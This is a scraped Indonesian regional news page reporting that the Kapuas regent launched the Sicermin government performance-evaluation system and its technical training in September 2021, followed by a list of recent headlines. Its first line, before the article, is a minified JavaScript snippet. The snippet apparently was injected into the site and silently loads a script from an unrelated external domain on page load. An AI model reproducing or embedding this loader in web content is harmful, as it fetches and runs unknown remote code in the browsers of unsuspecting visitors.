(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Launching Sicermin, Ini Komentar Bupati Kapuas Ben Brahim


KANALKALIMANTAN.COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat MM MT secara langsung membuka Launching dan Bimbingan Teknis (Bimtek) Sistem Informasi Cepat Evaluasi Kinerja Manajemen Instansi Pemerintah (Sicermin) sinkronisasi perubahan renstra perangkat daerah tahun 2018-2023, Kamis (9/9/2021).

Hadir dalam acara Sekretaris Daerah Kabupaten Kapuas Drs Septedy, Kepala Bappeda Kapuas Saribi, sejumlah Kepala Organisasi Perangkat Daerah (OPD) dan Camat se Kabupaten Kapuas.

Bupati Kapuas Ir Ben Brahim S Bahat mengatakan bahwa kunci dan fungsi dari Sicermin ini yaitu adanya komitmen dari Kepala OPD, Camat serta seluruh instansi yang terkait untuk berperan aktif dalam hal perencanaan, penganggaran dan evaluasi.

Melakukan koordinasi yang baik dengan stakeholder, sehingga integritas pada evaluasi tingkat perencanaan, pengendalian dan Sakip di Kabupaten Kapuas dapat dibentuk.

 

 

Baca juga : Oksigen di RSUD Jarse Masih Aman 

“Saya harapkan agar bimbingan teknik dipelajari dengan baik untuk salah satu faktor dalam melaksanakan tugas agar bisa lebih tertib lagi dalam hal perencanaan, pengendalian dan Sakip. Sicermin memperbaiki sistem kerja kita, untuk mencapai apa yang kita inginkan dan kita harapkan kedepannya,” ungkap Bupati Kapuas.

Kepala Bappeda Kapuas Saribi dalam laporannya menyampaikan, sehubungan dengan telah disetujuinya Rancangan Peraturan Daerah (Raperda) Perubahan Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Kabupaten Kapuas tahun 2018-2023, maka perlu adanya asistensi penyusunan perubahan Raperda dan penginputan pada sistem informasi cepat evaluasi kinerja manajemen instansi pemerintah.

“Saya meminta dukungan dari Bapak Bupati Kapuas, seluruh Kepala OPD, Camat serta seluruh instansi, untuk Bimtek Sicermin ini kita akan laksanakan mulai tanggal 13-16 September 2021 dan ini sebagai implementasi rencana Peraturan Bupati tentang Manajemen Integritas perencanaan, pengendalian, evaluasi dan Sakip di Kabupaten Kapuas,” tutur Saribi. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

28 Ribu Butir Obat Keras Dimusnahkan Polres HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 28 ribu butir obat keras dan 175 gram narkotika jenis sabu… Read More

1 jam ago

Pemkab Banjar Serahkan Penghargaan Proklim dan Adiwiyata, Ini Daftar Penerima Penghargaan

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan Penghargaan Proklim dan Adiwiyata tahun 2024 di Mahligai… Read More

2 jam ago

Tetangga Sendiri Dihabisi Secara Brutal Ayah dan Anak di Samarinda

KANALKALIMANTAN.COM, SAMARINDA - Warga di Kota Samarinda, Kalimantan Timur, geger penganiayaan brutal yang diduga dilakukan… Read More

6 jam ago

Ide Kreatif Anak Muda Peduli Lingkungan Dituangkan dalam Kertas Kebijakan

KANALKALIMANTAN.COM, BANJARBARU - Semangat peduli lingkungan terlihat dari anak muda Banjarbaru saat berlomba merumuskan ide… Read More

6 jam ago

MNCTV Tayangkan Laga Perdana Pro Futsal League 2025 antara Halus FC Jakarta vs Unggul FC Malang

KANALKALIMANTAN.COM - Kompetisi futsal kasta tertinggi Indonesia, Pro Futsal League 2025 kembali bergulir dengan persaingan… Read More

7 jam ago

Turunkan 413 Personel Pengamanan Nataru di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel dari Kepolisian, TNI, dan stakeholder mulai menyiapkan diri untuk menghadapi… Read More

7 jam ago

This website uses cookies.